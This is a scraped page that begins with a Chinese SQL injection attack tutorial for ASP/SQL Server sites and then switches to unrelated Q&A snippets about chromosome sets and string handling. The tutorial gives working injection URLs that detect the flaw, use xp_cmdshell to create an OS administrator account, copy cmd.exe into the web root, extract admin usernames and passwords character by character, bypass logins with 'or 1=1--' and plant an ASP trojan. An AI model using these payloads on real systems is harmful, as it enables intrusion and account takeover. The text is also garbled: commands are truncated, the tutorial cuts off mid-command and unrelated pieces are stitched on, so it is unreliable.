- wpBeta
-
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。
据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其他的不足10%。在本文,以SQL-SERVER+ASP例说明SQL注入的原理、方法与过程。(PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章)
SQL注入攻击的总体思路是:
l 发现SQL注入位置;
l 判断后台数据库类型;
l 确定XP_CMDSHELL可执行情况
l 发现WEB虚拟目录
l 上传ASP木马;
l 得到管理员权限;
一、SQL注入漏洞的判断
一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。
为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。
1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY"(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY",abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段="YY",所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY"(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY",abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1"="1", abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1"="2", abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;
二、区分数据库服务器类型
一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
1、 利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
2、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
3、 MSSQL三个关键系统表
sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
对象类型(xtype)。可以是下列对象类型中的一种:
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束(类型是 K)
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束(类型是 K)
V = 视图
X = 扩展存储过程
当xtype="U" and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
用: select * from ChouYFD.dbo.sysobjects where xtype="U" and status>0 就可以列出库ChouYFD中所有的用户建立的表名。
syscolumns :每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell net user aaa bbb /add-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;—号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell net localgroup administrators aaa /add-- 把刚刚增加的帐户aaa加到administrators组中。
5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk="c:inetpubwwwrootsave.db" 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
四、发现WEB虚拟目录
只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
一是根据经验猜解,一般来说,WEB虚拟目录是:c:inetpubwwwroot; D:inetpubwwwroot; E:inetpubwwwroot等,而可执行虚拟目录是:c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。
二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
先创建一个临时表:temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下来:
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs "c:";--
(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";--
这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec ... nbsp;"type c:webindex.asp";--
使用"bulk insert"语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from "c:inetpubwwwrootindex.asp"
浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
当然,如果xp_cmshell能够执行,我们可以用它来完成:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&nbs ... cmdshell "dir c:";--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&n ... p_cmdshell "dir c: *.asp /s/a";--
通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ubAdminScriptsadsutil.vbs enum w3svc"
但是,如果不是SA权限,我们还可以使用
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";--
注意:
1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in("xyz"))>0 得到表TEMP中第二条记录id字段的值。
五、上传ASP木马
所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
1、利用WEB的远程管理功能
许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的发现WEB虚拟目录的复杂操作都可省略。
用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、 注入法:
从理论上说,认证网页中会有型如:
select * from admin where username="XXX" and password="YYY" 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
如在用户名文本框内输入:abc" or 1=1-- 在密码框内输入:123 则SQL语句变成:
select * from admin where username="abc" or 1=1 and password="123" 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
B、猜解法:
基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
l 猜解所有数据库名称
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12...就可得到所有数据库名。
以下假设得到的数据库名是TestDB。
l 猜解数据库中用户名表的名称
猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
当xtype="U" and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type="U" and status>0 )>0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in("xyz"))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
l 猜解用户名字段及密码字段名称
admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 select count(字段名) from 表名语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。
读取法:基本的实现方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id("admin"),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id("admin"),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id("admin"),1)中的1依次换成2,3,4,5,6...就可得到所有的字段名称。
l 猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有:
ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,... n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,...时猜测分别猜测第1,2,3,...位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为33);
猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。
简单法:猜用户名用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。
猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=" ... where username="www";-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)
用同样的方法当然可把密码改原来的值。
2、利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp select * from text..foo queryout c:inetpubwwwroot uncommand.asp -c -S
aaaBBBccc是有一组非同源染色体还是3组?
三组。这道题可以这么简单理解:同样的字母(不区分大小写),表示同源染色体;不同的字母就是不同的非同源染色体。这样,带a,b,c(不区分大小写)代表着不同的非同源染色体。2023-07-13 01:01:261
染色体问题
倍体个数不同2023-07-13 01:01:364
原字符串中任意一段连续的字符组成的新字符串成为子串。则字符串“AAABBBCCC",共有()个不同的非空子串
应该选择C项,共有36个不同的非空子串。具体解法如下:原字符串中任意一段连续的字符组成的新字符串成为子串。则:字符串“AAABBBCCC"的非空子串=8+7+6+5+4+3+2+1=36个所以共有36个不同的非空子串,应该选择C项。扩展资料字符串的大小比较:1、compareTo() 方法是基于字符串各个字符的 Unicode 值,按字典顺序比较字符串的大小。在排序应用中,需要判断一个字符串是大于、等于还是小于另一个字符。一个字符串大于另一个字符串指的是它在字典中后出现。而一个字符串小于另一个指的是它在字典中先出现。2、equals方法是通过循环判断两个字符串相对应位置的字符是否相等来实现的。比如判断用户名和密码是否正确时,使用equals方法,只要相应位置字符相等,用户名和密码就可以判定为正确等。3、equalsIgnoreCase虽然也是通过循环判断两个字符串所对应位置的字符是否相等来实现判断,但是equalsIgnoreCase比equals多了一个步骤,equalsIgnoreCase将字符统一转换成大写(小写)进行判断。如此一来,就实现了忽略大小写的相等判断。2023-07-13 01:01:502
aaabbbccc细胞中有几个染色体组
基因型为AAaBBBCCc的个体,其体细胞内的染色体组的数目可以这样来分析:将基因定位到染色体上,可以很容易确定细胞中每种形态的染色体有3条,轻松得出细胞中含有3个染色体组. 故选:B.2023-07-13 01:02:061
aabbccc几倍体
这是三倍体。他的配子的数量,成对的为二倍体,明显题目中的aabbcc和AaBbCc都是成对的,故为二倍体。如果是aaabbbccc就是三倍体。2023-07-13 01:02:131
基因型为AaaBbbccc的个体有多少个染色体组??
3个2023-07-13 01:02:214
某异花传粉的二倍体植物所结种子胚乳的基因型都是AaaBbbCCc,据此可知( )①其母本基因型是aabbCC②
某异花传粉的二倍体植物所结种子胚乳的基因型都是AaaBbbCCc,据此可知:①由于极核的基因型为abC,所以其母本基因型是aabbCC,正确;②由于精子的基因型为ABc,所以其父本基因型是AABBcc,正确;③由于卵细胞的基因型与极核的基因型相同,所以受精卵的基因型为AaBbCc,因此由受精卵发育成的胚的基因型也是AaBbCc,正确;④由于胚乳细胞是三个染色体组,所以取幼嫩的胚乳细胞可以培育出具有三个染色体组的植株,正确;⑤若A、B、C分别位于三条非同源染色体上,又胚的基因型是AaBbCc,则该种子萌发长成的植株产生aBc型配子的概率为18,正确.所以5个选项全部正确.故选:D.2023-07-13 01:02:271
c语言找重复字符串程序运行aaabbbccc
这个问题应该不大吧,查找这个字符串aaabbbccc,最后重复的那个,那就是cc,位置在7,也就是第八位#include <stdio.h>#include <stdlib.h>#include <time.h>int main(){ char str[50]; int i,j,k,len; int pos = 0; int maxlen=0; scanf("%s",str); for(i=0;str[i]!="";i++) { k=i; len=0; for(j=k+1;str[j]!="";j++) { if(str[k]==str[j]) { len++; k++;//如果k位置和j位置的字符相同,就比较k后一个位置与j后面一个位置的字符是否相同 if(len>=maxlen) { maxlen = len; pos = j-len+1; } } else if(str[k]!=str[j]) { len =0; k=i; } } } printf("最长字符串的长度%d ",maxlen); printf("位置%d ",pos); return 0;}2023-07-13 01:02:341
如何判断AAaBBbCCcDd的染色体组数?
你好:AAaBBbCCcDd,这个应该是三倍体生物缺失去了一条染色体.所以染色体组应该为3个简单来说,有几个A,或者几个B,那么就有几个染色体组.但还要根据实际情况,当染色体缺失的时候,还要从新判断.①在细胞或生物体的基因型中,同一种基因出现几次,则有几个染色体组,如基因型为AAaBBbCCcDdd有三个染色体组。②细胞内形态相同的染色体有几条,则含有几个染色体组.2023-07-13 01:02:411
基因型是aaaBBBCcc的植株一定是单倍体。错 ,如何解释
看在那一个阶段吧或者说是什么形态下2023-07-13 01:02:513
表格如何用函数实现字母序号以AAABBBCCC……向下依次填充。
int mystrlen(char *s){ char *sp=s; int n=0; while(*sp++){ n++; } return n; } main(){ char *p="aaabbbccc"; printf("p string len is %d",mystrlen(p)); }2023-07-13 01:03:092
有谁知道aaabbbcccdddeeefffgggssss这些代表啥意思?
aaabbbcccdddeeefffgggssss打了这么多,就是要告诉你(glyy11➕V)知道了吗?不要谢我2023-07-13 01:03:282
如何替换aaabbbccc为abc?(abc代表任意字符)
<?php $test = "啊啊啊没没没呀呀呀"; print_r(preg_replace("/(.){3}(.){3}(.){3}/u","${1}${2}${3}",$test));?>上边这个只能匹配你给的那个连续三个的串,下边这个稍微好一点<?php $test = "11111222222啊啊啊啊没没没没呀呀呀呀111111呀呀呀呀bbbbbbcccAAAccc111啊 啊啊1133333 啊啊"; $test = str_replace(" ","",$test); $testChinese = preg_replace("/(w+)/","${2}",$test); $testNum = preg_replace("/(W+)/","${2}",$test); $resultChinese = dropDuplicateArr($testChinese,3); $resultNum = dropDuplicateArr($testNum,1); for($i = 0; $i < sizeof($resultChinese); $i++) echo $resultChinese[$i]; for($i = 0; $i < sizeof($resultNum); $i++) echo $resultNum[$i]; function dropDuplicateArr($string, $size) { $arr = str_split($string,$size); for($i = 0; $i < sizeof($arr); $i++) { static $j = 0; if($arr[$i] == $arr[$i+1]) continue; else $result[$j++] = $arr[$i]; } return $result; } ?>输出结果 "啊没呀啊121bc"这个还有很多弊端,由于我能力有限,也做不了太完善了,呵呵,几点注意:1.$resultChinese = dropDuplicateArr($testChinese,3);由于我的编码是UTF-8的,所以中文是3个字符,要是GB2312,改成2就可以了,字母数字都是12.就是由于中文和字母数字是分开处理的,所以输出后不能混排3.就是如果人家想打个‘哈哈",也会被屏蔽掉一个4.如果每个用户发布留言都做这个处理,且网站流量比较大,势必给服务器带来很大压力,倒不如控制字符个数,或者用JS,联系6个以上一样的发言就不通过呵呵,我尽力了,希望对你有帮助吧2023-07-13 01:03:365
java将AAABBBCCC截取输出成A3B3C3的形式
特定格式还是非特定?2023-07-13 01:03:531
高考如果AAABBBCCC这样写会不会作零分?
也不会,只要你不都选一个答案就行。2023-07-13 01:04:192
输入aaabbbccc输出3a3b3c的c++程序要怎么写
#include "stdio.h"#include "conio.h"main(){ char a=176,b=219; printf("%c%c%c%c%c ",b,a,a,a,b); printf("%c%c%c%c%c ",a,b,a,b,a); printf("%c%c%c%c%c ",a,a,b,a,a); printf("%c%c%c%c%c ",a,b,a,b,a); printf("%c%c%c%c%c ",b,a,a,a,b); getch(); }2023-07-13 01:04:261
如何将AAAABBBCCC排列ABC
您想问的是不是在Excel中如何排列abc顺序选中区域,点击排序和筛选,点击自定义排序,在弹出窗体中选择“选项”,方向由”按列排序“改为”按行排序“即可2023-07-13 01:04:341
19.某异花传粉的二倍体植物所结种子胚乳的基因型都是AaaBbbCCc,据此可知 ①其母本基因型是aabbCC ②其父
其母本基因型是aabbCC,父本基因型是AABBcc那么卵细胞基因型为AaBbCc产生aBc配子的概率1/2*1/2*1/2=1/82023-07-13 01:04:411
AAABBBCCC
我爱你吧2023-07-13 01:04:482
aaabbbccc
qie2023-07-13 01:04:551
给出一个基因型,怎样判断单倍体和多倍体呢
单倍体和多倍体的区别:(1)概念定位不同单倍体强调体细胞中含有本物种配子染色体树木的个体.多倍体是由受精卵发育而成的,体细胞中含有三个或三个以上的染色体组的个体叫多倍体.(2)发育的起点不同单倍体是本物种配子未经受精作用在某种因素的激发下发育成的个体,是单性生殖的结果;多倍体是由受精卵发育而来的,是双亲生殖的结果.(3)染色体组的数目不同.单倍体不一定含有一个染色体组.有的含一个,有的含两个或两个以上,多倍体则含有三个或三个以上的染色体组.2023-07-13 01:05:152
C# 一个字符串比如:AAABBBCCC 如何变成AAA,BBB,CCC
那如果是ABC,AAABBC分别会变成什么?2023-07-13 01:05:232
求方法:EXCEL中将AAABBBCCC统计为3A3B3C的函数命令或方法。
=LEN(A1)-LEN(SUBSTITUTE(A1,"A",))&"A"&LEN(A1)-LEN(SUBSTITUTE(A1,"B",))&"B"&LEN(A1)-LEN(SUBSTITUTE(A1,"C",))&"C"2023-07-13 01:05:321
在android平台里,资源string="aaabbbccc" 如何单独控制bbb的字体大小 粗体 以及颜色呢?多谢了!
String str = "aaa<b>bbb</b>cccc"TextView tv = new TextView( this);tv.setText(Html.from(str));2023-07-13 01:05:392
染色体组
染色体组指细胞中的一组非同源染色体,现已作为专门的术语广泛使用。通常各种生物所包含的染色体数目是恒定的,如水稻是24条染色体,而人类则具有46条染色体,有性生殖过程中,正常配子具有的染色体数称为染色体组,这样水稻和人类的一套染色体组分别包括12对和23对。染色体组判断组数:判断几倍体实际上是判断某个体的体细胞中的染色体组数。由于一个染色体组中无同源染色体,则同源染色体个数成为判断染色体组数即判断某个体为几倍体的主要依据。A与A,a与a是相同基因,分列于同源染色体上,A与a,是等位基因,也分列于同源染色体上。同一字母(不论大小写)有几个就有几个同源染色体。因此,Aa 为一对同源染色体,含两个染色体组,叫二倍体。AAaa 为4个同源染色体,含4个染色体组,叫四倍体。AAaBBbCCc 为3组同源染色体,含3个染色体组,叫三倍体。AABBCCDD是,含2个染色体组叫两倍体。AAaaBBbb 含4个染色体组,最快的判断就是看几个同源染色体个数(看加粗字母可判断)。细胞内同一形态的染色体有几条,则含有几个染色体组。细胞内有几种形态的染色体,一个染色体组内就有几条染色体。2023-07-13 01:05:471
普通小麦aabbcc怎么是六倍体
abc分别来自不同种属的小麦,属于不同的染色体组,所以说是异源6倍体小麦2023-07-13 01:06:022
excel中生成AAABBBCCCDDD
=reptuff08"A",26)&rept("B",26)&rept("C",26)2023-07-13 01:06:124
求java正则表达式 匹配一段数字里面 类似aabb 或者 aabbcc 但是不匹配aaabbb aaabbbccc
(?:(.)1(?!1)){2,}这样行嘛。2023-07-13 01:06:443
染色体组是什么,怎么算?
染色体组就是指细胞中的一组非同源染色体,它们在形态和功能上各不相同,但是控制着一种生物生长发育、遗传和变异的全部信息。算染色体组就直接看相同形态的染色体一共有几个,有几个相同的染色体就有几组染色体组。 这个果蝇有两组染色体组,分别是X+234或Y+234。它的配子都只有1个染色体组。2023-07-13 01:06:555
在由a,a,a,b,b,b,c,c,c组成的排列中,相邻两个元素不相同的排列数
174种。用计算机算。2023-07-13 01:07:312
染色体组的数目判断AAaaBBbb这个细胞含有几个染色体组?是怎么判断的呢?
4个.比如说AABB,那么AB就是一个染色体组,有2个染色体组.如果是AAABBBCCC,那么ABC就是一个染色体组,有3个染色体组.染色体组就是包含这个生物所有遗传信息的最小单位.像你问的这题,A(a)和B(b)这两条染色体就包含了这个生物所有的遗传信息,所以有4个染色体组.官方网站2023-07-13 01:07:381
染色体组数怎么看
染色体组数怎么看如果是从基因型判断,那就看同种字母的个数(不区分大小写),例如AAaaa有5个A(a),那就是五个染色体组;如果是从染色体形态判断,那就看大小相同的染色体的条数(性染色体的话就直接看性染色体的总条数)。细胞内形态相同的染色体有几条,就含几个染色体组。在细胞或生物体的基因型中,控制同一性状的基因出现几次,则有几个染色体组。根据染色体数目和形态数来推算:染色体组的数目=染色体数/染色体形态数。根据基因型判断细胞中的染色体数目,根据细胞的基本型确定控制每一性状的基因出现的次数,该次数就等于染色体组数。比如基因型为:AAaaBBbb的个体,其体细胞内的染色体组的数目可以这样来分析:将基因定位到染色体上,可以很容易确定细胞中每种形态的染色体有4条,依据法轻松得出细胞中含有4个染色体组。2023-07-13 01:07:462
excel中怎么将一列数据重复显示,例如将“ABCD....”显示为“AAABBBCCCDDD.....”
如果是列标,那改不了2023-07-13 01:07:575
怎么利用指针删除一位数组中所有相同的数?例如,删除一维数组aaabbbccccdd中相同的字符,使之输出abcd
